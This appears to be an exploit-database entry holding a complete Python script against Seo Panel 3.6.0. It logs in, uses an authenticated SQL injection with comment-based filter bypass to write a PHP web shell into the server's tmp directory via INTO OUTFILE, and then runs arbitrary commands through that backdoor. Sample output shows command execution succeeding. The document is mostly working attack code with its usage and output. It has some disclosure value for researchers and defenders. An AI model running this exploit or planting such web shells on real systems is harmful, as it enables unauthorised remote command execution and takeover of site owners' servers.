Author

Tiago Carvalho

Risk

[

Security Risk High

]

0day-ID

0day-ID-22757

Category

web applications

Date add

15-10-2014

Platform

php

# Exploit Title: Seo Control Panel 3.6.0 Authenticated Sql Injection
# Date: 10/10/2014
# Exploit Author: Tiago Carvalho tcarvalho@dognaedis.com or tiago.alexandre@gmail.com
# Vendor Homepage: www.seopanel.in
# Software Link: http://www.seopanel.in/spdownload/
# Version: Seo Panel Version 3.6.0
# Tested on: Kali Linux and MAC OS X Mavericks
# OSVDB ID: Requested
"""
This vulnerability affects Seo Control Panel -
Product: Seo Panel Version 3.6.0
Tested on PHP 5.4.4-14+deb7u14
Vendor url :http://www.seopanel.in/
Their are multiple vulnerabilitis in the project not all of them are
exploitable
The Flowing exploit is able to successfull bypass the implemented
protections based on set of regex with along with a blacklist
the protections are implemeted in the flowing file:
 
file : includes/sp-load.php
lines: 128 to 150
 
The protection can easly be bypassed with payload used by this exploit
 
The Vulnerable method exploited is located at:
file: seo-plugins.php
method: __getSeoPluginInfo
lines: 175 to 178
Due to incorrect use of database client api
 
$ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
[*] Upload was successfull!
 
$ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
total 12
drwxrwxrwx 2 root root 4096 Oct 9 18:06 .
drwxr-xr-x 14 root root 4096 Oct 9 11:31 ..
- -rw-rw-rw- 1 mysql mysql 42 Oct 9 18:06 buckle.php
"""
 
#!/usr/bin/env python
import sys
import urllib2
import urllib
import cookielib
"""
    This vulnerability affects Seo Control Panel -
    Product: Seo Panel Version 3.6.0
    Tested on PHP 5.4.4-14+deb7u14
    Vendor url :http://www.seopanel.in/
    Their are multiple vulnerabilitis in the project not all of them are exploitable
    The Flowing exploit is able to successfull bypass the implemented protections based on set of regex with along with a blacklist
    the protections are implemeted in the flowing file:
     
    file : includes/sp-load.php
    lines: 128 to 150
     
    The protection can easly be bypassed with payload used by this exploit
 
    The Vulnerable method exploited is located at:
    file: seo-plugins.php
    method: __getSeoPluginInfo
    lines: 175 to 178
    Due to incorrect use of database client api
 
    $ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
    [*] Upload was successfull!
     
    $ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
    total 12
    drwxrwxrwx  2 root  root  4096 Oct  9 18:06 .
    drwxr-xr-x 14 root  root  4096 Oct  9 11:31 ..
    -rw-rw-rw-  1 mysql mysql   42 Oct  9 18:06 buckle.php
 
"""
def exploit(host,path,username,password):
    #POST Login content type
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
 
    #payload creates a file in project_dir/tmp
    payload = {'pid':'\' UNION/**/select/**/\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',"\<\?php system($_REQUEST[\'cmd\']);\?\>"/**/from/**/seoplugins/**/into/**/outfile/**/\'/var/www/seopanel/tmp/buckle.php'}
 
    base_url = "http://"+host+path
     
    #url
    post_args = {'userName': username, 'password': password,'sec':'login','referer':base_url,'login':'Sign In >>'}
 
    #login url
    url_login = base_url+"/login.php"
 
    #vulnerable url
    url_plugins = base_url+"/seo-plugins.php"
 
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    request = urllib2.Request(url_login)
    request.add_data(urllib.urlencode(post_args))
    request.add_header('Content-type', 'application/x-www-form-urlencoded')
    login_request = opener.open(request)
 
    code = int(login_request.code)
    if code == 200:
        try:
            ##The server returns a http status 500 but even when the attack is successfull
            opener.open(url_plugins,urllib.urlencode(payload))
        except Exception, e:
            if check(base_url) == True:
                print "[*] Upload was successfull!"
 
#call uploaded backdore and execute requested command
def shell(url,command):
    url_shell = url+'/tmp/buckle.php'
    encoded_args = urllib.urlencode({'cmd':command})
    return urllib2.urlopen(url_shell, encoded_args)
     
 
#call uploaded backdore execute requested command and print the result
def cmd(host,path,command):
    url = "http://"+host+path
    print shell(url,command).read()
 
#check uploaded backdore is in place
def check(url):
    code = shell(url,"ls").code
    if(code == 200):
        return True
    else:
        return False
 
if len(sys.argv) == 6:
    if str(sys.argv[1]) == "e":
        exploit(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]),str(sys.argv[5]))
 
if len(sys.argv) == 5:
    if str(sys.argv[1]) == "c":
        cmd(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]))

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